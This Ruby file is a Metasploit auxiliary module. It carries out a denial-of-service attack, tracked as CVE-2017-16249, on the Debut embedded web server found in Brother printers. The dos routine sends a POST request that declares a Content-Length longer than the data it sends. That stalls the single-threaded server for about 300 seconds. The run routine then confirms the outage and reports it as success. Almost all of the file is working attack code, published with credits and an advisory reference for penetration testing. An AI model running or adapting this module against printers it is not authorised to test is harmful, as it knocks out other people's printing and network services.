81 lines
2.9 KiB
Ruby
81 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Brother Debut http Denial Of Service',
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'Description' => %q{
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The Debut embedded HTTP server <= 1.20 on Brother printers allows for a Denial
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of Service (DoS) condition via a crafted HTTP request. The printer will be
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unresponsive from HTTP and printing requests for ~300 seconds. After which, the
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printer will start responding again.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'z00n <0xz00n@gmail.com>', # vulnerability disclosure
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'h00die' # metasploit module
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],
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'References' => [
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[ 'CVE', '2017-16249' ],
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[ 'URL', 'https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2017-017/?fid=10211']
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],
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'DisclosureDate' => 'Nov 02 2017'))
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end
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def is_alive?
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res = send_request_raw({
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'method' => 'GET',
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'uri' => '/',
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},10)
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return !res.nil?
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
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print_error("Couldn't connect to #{peer}")
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end
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def dos
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# The web server is single threaded, and when the content length is longer than the data, it will continue to wait
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# for the rest of the data, which never comes, and times out after ~300 seconds.
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data = Rex::Text.rand_text_alphanumeric(40)
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send_request_cgi({
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'method' => 'POST',
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'uri' => '/',
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'data' => data, #'asdasdasdasdasdasdasd',
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'headers' => {
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# These are kept here since they were in the original exploit, however they are not required
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#'Host' => 'asdasdasd',
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#'User-Agent' => 'asdasdasd',
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#'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
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#'Accept-Language' => 'en-US,en;q=0.5',
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#'Referer' => 'asdasdasdasd',
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#'Connection' => 'close',
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#'Upgrade-Insecure-Requests' => 1,
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#'Content-Type' => 'application/x-www-form-urlencoded',
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'Content-Length' => data.length + rand(10) + 10 #42
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}
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})
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
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print_error("Couldn't connect to #{peer}")
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end
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def run
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time = Time.new
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print_status("Sending malformed POST request at #{time.strftime("%Y-%m-%d %H:%M:%S")}.")
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dos
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# Check to see if it worked or not
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if is_alive?
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print_error("#{peer} - Server is still alive.")
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else
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print_good("#{peer} - Connection Refused: Success! Server will recover about #{(time + 300).strftime("%Y-%m-%d %H:%M:%S")}")
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end
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end
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end
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